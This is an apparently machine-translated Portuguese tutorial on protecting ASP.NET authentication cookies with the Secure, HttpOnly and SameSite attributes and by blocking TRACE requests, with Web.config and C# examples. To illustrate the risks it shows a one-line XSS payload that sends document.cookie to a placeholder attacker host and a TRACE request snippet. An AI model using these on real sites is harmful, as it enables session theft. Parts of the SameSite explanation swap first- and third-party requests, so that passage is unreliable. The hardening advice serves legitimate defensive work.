Você já ouviu falar sobre scripts entre sites (XSS), certo? XSS é uma situação em que um hacker pode injetar scripts maliciosos no seu site. Esta não é uma postagem de blog sobre XSS, mas várias coisas ruins podem acontecer se alguém conseguir injetar código no seu site. O que eu quero apresentar a você hoje é aproveitar os cookies usados pelo seu site.
A maneira mais fácil de entender os problemas com XSS e cookies é pelo exemplo. A maioria dos sistemas de autenticação para ASP.NET e Core usa um cookie de autenticação para o seu aplicativo para informar ao servidor Web que o cliente foi conectado com êxito. Você provavelmente já viu um cookie nomeado .ASPXAUTH em seu navegador. Este é um cookie retornado pela autenticação de formulários quando o usuário está conectado. O valor do cookie contém uma sequência criptografada que pode ser usada para autenticar o usuário em solicitações subsequentes. Se um hacker, de alguma forma, obtiver o valor do .ASPXAUTH cookie, ele poderá agora invadir essa sessão.
Marcar cookies como Secure
Então, como podemos garantir que ninguém além do nosso site tenha acesso a esse cookie? O primeiro passo é garantir que o site esteja executando HTTPS. Aqui, não estou falando sobre adicionar HTTPS como uma alternativa ao HTTP. HTTPS exclusivamente é a única maneira de rolar. Ao executar apenas HTTPS, ninguém pode inspecionar o tráfego entre o navegador e o servidor da Web usando um ataque man-in-the-middle ou algo semelhante. Ao mudar para HTTPS, você precisará informar que os cookies devem estar disponíveis somente por HTTPS. Para fazer isso globalmente, você pode incluir o seguinte em Web.config:
<system.web>
…
<httpCookies requireSSL=”true” />
</system.web>
Se você estiver criando cookies manualmente, também poderá marcá-los como seguros em C #:
Response.Cookies.Add(
new HttpCookie(“key”, “value”)
{
Secure = true,
});
É isso aí! Agora, os cookies são enviados apenas por HTTPS, tornando impossível interceptar quaisquer cookies enviados acidentalmente por HTTP (você ainda deseja eliminar essas chamadas, se houver).
Marcar cookies como HttpOnly
Já estamos seguros? Na verdade, os hackers podem ter tido sorte ao injetar código no seu site. O JavaScript tem acesso aos cookies como padrão, tornando possível escrever algo como isto:
console.log(document.cookie);
O log de cookies no console provavelmente não é um problema, mas considere alguém tendo sorte entrando no seguinte script em sua página:
window.location=”http://evil.site/store?cookies=”+document.cookie;
Está certo! Todos os cookies, incluindo o cookie de autenticação, foram armazenados apenas no site do hacker (evil.site foi o domínio com o maior número de hackers que eu consegui criar).
Como muitos cookies nunca precisam ser acessíveis a partir do JavaScript, há uma correção simples. Marcando cookies como HttpOnly. Como o nome sugere, apenas os cookies HTTP podem ser acessados pelo servidor durante uma solicitação HTTP (S!). O cookie de autenticação existe apenas para ser enviado entre o cliente e o servidor e um exemplo perfeito de cookie que sempre deve ser marcado como HttpOnly.
Veja como fazer isso Web.config (estendendo o código de antes):
<system.web>
…
<httpCookies httpOnlyCookies=”true” requireSSL=”true” />
</system.web>
O valor do httpOnlyCookies atributo é true
neste caso. Como no exemplo anterior, HttpOnly também pode ser definido no código C #:
Response.Cookies.Add(
new HttpCookie(“key”, “value”)
{
HttpOnly = true,
Secure = true,
});
Aqui, eu configurei a HttpOnlypropriedade para true.
Evitar solicitações de rastreamento (rastreamento entre sites)
Marcar cookies como Secure e HttpOnly nem sempre é suficiente. Existe uma técnica chamada Cross-Site Tracing (XST) em que um hacker usa os métodos de solicitação TRACE ou TRACK para ignorar os cookies marcados como HttpOnly. O TRACE
método é originalmente destinado a ajudar na depuração, permitindo que o cliente saiba como um servidor vê uma solicitação. Essas informações de depuração são impressas na resposta, tornando-as legíveis no cliente.
Se um hacker injetar código com êxito em sua página, ele poderá executar o seguinte script:
var xhr = new XMLHttpRequest();
xhr.open(‘TRACE’, ‘https://my.domain/’, false);
xhr.send(null);
console.log(xhr.responseText);
Se o servidor da web de recebimento suportar TRACE solicitações, a solicitação, incluindo variáveis do servidor, cookies etc., será gravada no console. Isso revelaria o cookie de autenticação, mesmo se estiver marcado como Secure e HttpOnly.
Felizmente, os navegadores modernos não deixam ninguém fazer TRACE
solicitações de JavaScript. Você ainda deseja eliminar a possibilidade, atualizando o seu em Web.config conformidade:
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb=”TRACE” allowed=”false” />
<add verb=”TRACK” allowed=”false” />
</verbs>
</requestFiltering>
</security>
</system.webServer>
O verbs
elemento inclui uma lista de verbos HTTP não permitidos.
SameSite para evitar falsificação de solicitação entre sites
Estamos quase lá. Um único problema está ausente, no entanto. Todo esse trabalho para impedir que alguém intercepte o tráfego entre seu cliente e servidor e ainda existe outro problema. Você pode ter ouvido falar sobre algo chamado falsificação de solicitação entre sites (CSRF). O CSRF é a prática de enganar o usuário para solicitar um site em que ele já esteja logado. Isso pode ocorrer na forma de formulários ocultos, elementos de imagem e muito mais.
Nenhuma das alterações acima protege contra o CSRF. O ASP.NET e o ASP.NET Core oferecem suporte à geração de tokens para o servidor validar cada solicitação. Aqui, você permite que seu servidor gere um token exclusivo e atualize todos os seus formulários para incluir esse token. Ao postar dados de volta no servidor, o ASP.NET (Core) valida o token e gera um erro se inválido.
SameSite é um atributo de cookie que informa se seus cookies estão restritos apenas a solicitações de terceiros. Pode parecer um pouco estranho, então vamos ver um exemplo. Se uma página no domínio domain1.com solicitar um URL domain1.com
e os cookies forem decorados com o SameSite atributo, os cookies serão enviados entre o cliente e o servidor. Se os domain2.com
pedidos domain1.com
e os cookies do site domain1.comestiverem decorados com o SameSite atributo, os cookies não serão trocados.
O .NET 4.7.2 e o .NET Core 3.1 suportam o SameSite atributo. Mas a implementação mais fácil (IMO) é incluir uma regra de reescrita em Web.config:
<system.webServer>
<rewrite>
<outboundRules>
<clear />
<rule name=”Add SameSite” preCondition=”No SameSite”>
<match serverVariable=”RESPONSE_Set_Cookie” pattern=”.*” negate=”false” />
<action type=”Rewrite” value=”{R:0}; SameSite=lax” />
</rule>
<preConditions>
<preCondition name=”No SameSite”>
<add input=”{RESPONSE_Set_Cookie}” pattern=”.” />
<add input=”{RESPONSE_Set_Cookie}” pattern=”; SameSite=lax” negate=”true” />
</preCondition>
</preConditions>
</outboundRules>
</rewrite>
…
</system.webServer>
A regra anexa automaticamente SameSite=lax a todos os cookies. Lax
significa enviar o cookie em solicitações de terceiros ou navegação de nível superior (o URL no navegador é alterado). Outro valor possível é o strict
local em que um cookie é enviado apenas em solicitações de terceiros. Nesse caso, um domínio vinculado ao seu site fará com que o IIS não envie o cookie.
